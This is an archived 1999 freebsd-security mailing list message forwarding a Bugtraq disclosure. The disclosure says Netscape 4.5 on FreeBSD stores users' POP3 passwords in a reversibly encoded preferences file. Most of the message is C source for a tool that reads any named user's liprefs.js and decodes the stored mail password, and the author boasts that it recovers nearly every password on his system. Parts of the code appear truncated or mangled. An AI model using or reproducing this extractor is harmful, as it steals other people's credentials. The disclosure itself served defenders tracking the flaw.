From owner-freebsd-security Thu Apr 8 17:57:33 1999 Delivered-To: freebsd-security@freebsd.org Received: from news.ks.edu.tw (news.ks.edu.tw [163.16.1.11]) by hub.freebsd.org (Postfix) with ESMTP id 0637F158CA for ; Thu, 8 Apr 1999 17:57:11 -0700 (PDT) (envelope-from foxfair@news.ks.edu.tw) Received: from foxfair (tnt-58.ks.edu.tw [163.16.5.117]) by news.ks.edu.tw (8.9.3/8.9.2) with SMTP id IAA72854 for ; Fri, 9 Apr 1999 08:45:13 +0800 (CST) (envelope-from foxfair@news.ks.edu.tw) Date: Fri, 09 Apr 1999 09:01:33 +0800 From: Foxfair Hu To: freebsd-security@freebsd.org Subject: Fw: Netscape 4.5 vulnerability Message-Id: <370D516D2EE.C14EFOXFAIR@news.ks.edu.tw> MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.24 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Forwarded by Foxfair Hu ---------------- Original message follows ---------------- From: Alexey Pavlov To: BUGTRAQ@netspace.org Date: Thu, 8 Apr 1999 21:12:27 +0400 Subject: Netscape 4.5 vulnerability -- I found method how to get users passwords from Netscape 4.5 for FreeBSD ~user/.netscape/liprefs.js file. This file is used for storing user last session preferences .This file also contains encrypted password for pop3. Not like a DES , this encryption can be decrypted. As a result of many experiments i wrote this program. It gives me almost all passwords in my system, because all people use Netscape. Here is src of this decryption programm: -----------------BEGIN CUT HERE------------- /***************************************************** This Program designed for extract and decode Netshcape email password. This program is realy very go-o-o-od!! Programming by Lesha (c)1999 *****************************************************/ #include #include #include #include #include #include #include unsigned char Tbl_1[]={ 'A','B','C','D','E','F','G','H','I','J','K', 'L','M','N','O','P','Q','R','S','T','U','V', 'W','X','Y','Z','a','b','c','d','e','f','g', 'h','i','j','k','l','m','n','o','p','q','r', 's','t','u','v','w','x','y','z','0','1','2', '3','4','5','6','7','8','9','+','/','=' }; unsigned char Tbl_2[96][8]={ {0x76,0xe9,0xcf,0x6a,0xbb,0x9e,0x7a,0x62}, {0x77,0xe8,0xce,0x6b,0xba,0x9f,0x7b,0x63}, {0x74,0xeb,0xcd,0x68,0xb9,0x9c,0x78,0x60}, {0x75,0xea,0xcc,0x69,0xb8,0x9d,0x79,0x61}, {0x72,0xed,0xcb,0x6e,0xbf,0x9a,0x7e,0x66}, {0x73,0xec,0xca,0x6f,0xbe,0x9b,0x7f,0x67}, {0x70,0xef,0xc9,0x6c,0xbd,0x98,0x7c,0x64}, {0x71,0xee,0xc8,0x6d,0xbc,0x99,0x7d,0x65}, {0x7e,0xe1,0xc7,0x62,0xb3,0x96,0x72,0x6a}, {0x7f,0xe0,0xc6,0x63,0xb2,0x97,0x73,0x6b}, {0x7c,0xe3,0xc5,0x60,0xb1,0x94,0x70,0x68}, {0x7d,0xe2,0xc4,0x61,0xb0,0x95,0x71,0x69}, {0x7a,0xe5,0xc3,0x66,0xb7,0x92,0x76,0x6e}, {0x7b,0xe4,0xc2,0x67,0xb6,0x93,0x77,0x6f}, {0x78,0xe7,0xc1,0x64,0xb5,0x90,0x74,0x6c}, {0x79,0xe6,0xc0,0x65,0xb4,0x91,0x75,0x6d}, {0x66,0xf9,0xdf,0x7a,0xab,0x8e,0x6a,0x72}, {0x67,0xf8,0xde,0x7b,0xaa,0x8f,0x6b,0x73}, {0x64,0xfb,0xdd,0x78,0xa9,0x8c,0x68,0x70}, {0x65,0xfa,0xdc,0x79,0xa8,0x8d,0x69,0x71}, {0x62,0xfd,0xdb,0x7e,0xaf,0x8a,0x6e,0x76}, {0x63,0xfc,0xda,0x7f,0xae,0x8b,0x6f,0x77}, {0x60,0xff,0xd9,0x7c,0xad,0x88,0x6c,0x74}, {0x61,0xfe,0xd8,0x7d,0xac,0x89,0x6d,0x75}, {0x6e,0xf1,0xd7,0x72,0xa3,0x86,0x62,0x7a}, {0x6f,0xf0,0xd6,0x73,0xa2,0x87,0x63,0x7b}, {0x6c,0xf3,0xd5,0x70,0xa1,0x84,0x60,0x78}, {0x6d,0xf2,0xd4,0x71,0xa0,0x85,0x61,0x79}, {0x6a,0xf5,0xd3,0x76,0xa7,0x82,0x66,0x7e}, {0x6b,0xf4,0xd2,0x77,0xa6,0x83,0x67,0x7f}, {0x68,0xf7,0xd1,0x74,0xa5,0x80,0x64,0x7c}, {0x69,0xf6,0xd0,0x75,0xa4,0x81,0x65,0x7d}, {0x16,0x89,0xaf,0x0a,0xdb,0xfe,0x1a,0x02}, {0x17,0x88,0xae,0x0b,0xda,0xff,0x1b,0x03}, {0x14,0x8b,0xad,0x08,0xd9,0xfc,0x18,0x00}, {0x15,0x8a,0xac,0x09,0xd8,0xfd,0x19,0x01}, {0x12,0x8d,0xab,0x0e,0xdf,0xfa,0x1e,0x06}, {0x13,0x8c,0xaa,0x0f,0xde,0xfb,0x1f,0x07}, {0x10,0x8f,0xa9,0x0c,0xdd,0xf8,0x1c,0x04}, {0x11,0x8e,0xa8,0x0d,0xdc,0xf9,0x1d,0x05}, {0x1e,0x81,0xa7,0x02,0xd3,0xf6,0x12,0x0a}, {0x1f,0x80,0xa6,0x03,0xd2,0xf7,0x13,0x0b}, {0x1c,0x83,0xa5,0x00,0xd1,0xf4,0x10,0x08}, {0x1d,0x82,0xa4,0x01,0xd0,0xf5,0x11,0x09}, {0x1a,0x85,0xa3,0x06,0xd7,0xf2,0x16,0x0e}, {0x1b,0x84,0xa2,0x07,0xd6,0xf3,0x17,0x0f}, {0x18,0x87,0xa1,0x04,0xd5,0xf0,0x14,0x0c}, {0x19,0x86,0xa0,0x05,0xd4,0xf1,0x15,0x0d}, {0x06,0x99,0xbf,0x1a,0xcb,0xee,0x0a,0x12}, {0x07,0x98,0xbe,0x1b,0xca,0xef,0x0b,0x13}, {0x04,0x9b,0xbd,0x18,0xc9,0xec,0x08,0x10}, {0x05,0x9a,0xbc,0x19,0xc8,0xed,0x09,0x11}, {0x02,0x9d,0xbb,0x1e,0xcf,0xea,0x0e,0x16}, {0x03,0x9c,0xba,0x1f,0xce,0xeb,0x0f,0x17}, {0x00,0x9f,0xb9,0x1c,0xcd,0xe8,0x0c,0x14}, {0x01,0x9e,0xb8,0x1d,0xcc,0xe9,0x0d,0x15}, {0x0e,0x91,0xb7,0x12,0xc3,0xe6,0x02,0x1a}, {0x0f,0x90,0xb6,0x13,0xc2,0xe7,0x03,0x1b}, {0x0c,0x93,0xb5,0x10,0xc1,0xe4,0x00,0x18}, {0x0d,0x92,0xb4,0x11,0xc0,0xe5,0x01,0x19}, {0x0a,0x95,0xb3,0x16,0xc7,0xe2,0x06,0x1e}, {0x0b,0x94,0xb2,0x17,0xc6,0xe3,0x07,0x1f}, {0x08,0x97,0xb1,0x14,0xc5,0xe0,0x04,0x1c}, {0x09,0x96,0xb0,0x15,0xc4,0xe1,0x05,0x1d}, {0x36,0xa9,0x8f,0x2a,0xfb,0xde,0x3a,0x22}, {0x37,0xa8,0x8e,0x2b,0xfa,0xdf,0x3b,0x23}, {0x34,0xab,0x8d,0x28,0xf9,0xdc,0x38,0x20}, {0x35,0xaa,0x8c,0x29,0xf8,0xdd,0x39,0x21}, {0x32,0xad,0x8b,0x2e,0xff,0xda,0x3e,0x26}, {0x33,0xac,0x8a,0x2f,0xfe,0xdb,0x3f,0x27}, {0x30,0xaf,0x89,0x2c,0xfd,0xd8,0x3c,0x24}, {0x31,0xae,0x88,0x2d,0xfc,0xd9,0x3d,0x25}, {0x3e,0xa1,0x87,0x22,0xf3,0xd6,0x32,0x2a}, {0x3f,0xa0,0x86,0x23,0xf2,0xd7,0x33,0x2b}, {0x3c,0xa3,0x85,0x20,0xf1,0xd4,0x30,0x28}, {0x3d,0xa2,0x84,0x21,0xf0,0xd5,0x31,0x29}, {0x3a,0xa5,0x83,0x26,0xf7,0xd2,0x36,0x2e}, {0x3b,0xa4,0x82,0x27,0xf6,0xd3,0x37,0x2f}, {0x38,0xa7,0x81,0x24,0xf5,0xd0,0x34,0x2c}, {0x39,0xa6,0x80,0x25,0xf4,0xd1,0x35,0x2d}, {0x26,0xb9,0x9f,0x3a,0xeb,0xce,0x2a,0x32}, {0x27,0xb8,0x9e,0x3b,0xea,0xcf,0x2b,0x33}, {0x24,0xbb,0x9d,0x38,0xe9,0xcc,0x28,0x30}, {0x25,0xba,0x9c,0x39,0xe8,0xcd,0x29,0x31}, {0x22,0xbd,0x9b,0x3e,0xef,0xca,0x2e,0x36}, {0x23,0xbc,0x9a,0x3f,0xee,0xcb,0x2f,0x37}, {0x20,0xbf,0x99,0x3c,0xed,0xc8,0x2c,0x34}, {0x21,0xbe,0x98,0x3d,0xec,0xc9,0x2d,0x35}, {0x2e,0xb1,0x97,0x32,0xe3,0xc6,0x22,0x3a}, {0x2f,0xb0,0x96,0x33,0xe2,0xc7,0x23,0x3b}, {0x2c,0xb3,0x95,0x30,0xe1,0xc4,0x20,0x38}, {0x2d,0xb2,0x94,0x31,0xe0,0xc5,0x21,0x39}, {0x2a,0xb5,0x93,0x36,0xe7,0xc2,0x26,0x3e}, {0x2b,0xb4,0x92,0x37,0xe6,0xc3,0x27,0x3f}, {0x28,0xb7,0x91,0x34,0xe5,0xc0,0x24,0x3c} }; unsigned long int getn1(unsigned char c1){ register int i; if(c1=='='){return 0;} for(i=0;i<64;i++){if(Tbl_1[i]==c1){return i;}} return -1; } int ub64(unsigned char *in,unsigned char *out){ int i=0; int j=0; unsigned long int n; if(!in||!out){return 0;} while(in[i]){ n=(((getn1(in[i+0])&63)<<18)|((getn1(in[i+1])&63)<<12)|((getn1(in[i+2])&63)<<6)|(getn1(in[i+3])&63)); out[j+0]=(unsigned char)((n>>16)&255); out[j+1]=(unsigned char)((n>>8)&255); out[j+2]=(unsigned char)(n&255); i+=4;j+=3; } out[j]='\0'; return 0; } int decodestring(unsigned char *in,unsigned char *out){ int i; int j; int l; l=strlen(in);if(l>8){l=8;} if(!in||!out){return 0;} for(i=0;ipw_dir); strcat(filename,"/.netscape/liprefs.js"); } else if(strcmp(argv[1],"-f")==0){ strcpy(filename,argv[2]); } else{ printf("Unknown option %s\n",argv[1]); printf("%s",usage); exit(0); } /***************/ if((f=fopen(filename,"r"))==NULL){printf("Cannot open %s\n",filename);return 0;} while(!feof(f)){ fgets(buff,1024,f); if(strstr(buff,"user_pref")){ if(r=strstr(buff,"mail.pop_password")){ while(*r!='\"'){r++;}r++; while(*r!='\"'){r++;}r++; s=passwdbuff; while(*r!='\"'){*s=*r;s++;r++;} *s='\0'; } } } fclose(f); if(passwdbuff[0]=='\0'){printf("Password not found!\n");return 0;} ub64(passwdbuff,decoded1); decodestring(decoded1,decoded2); printf("%s\n",decoded2); } -----------------END CUT HERE--------------- Good luck, Lesha paaa@uic.nnov.ru gandalf@uic.nnov.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message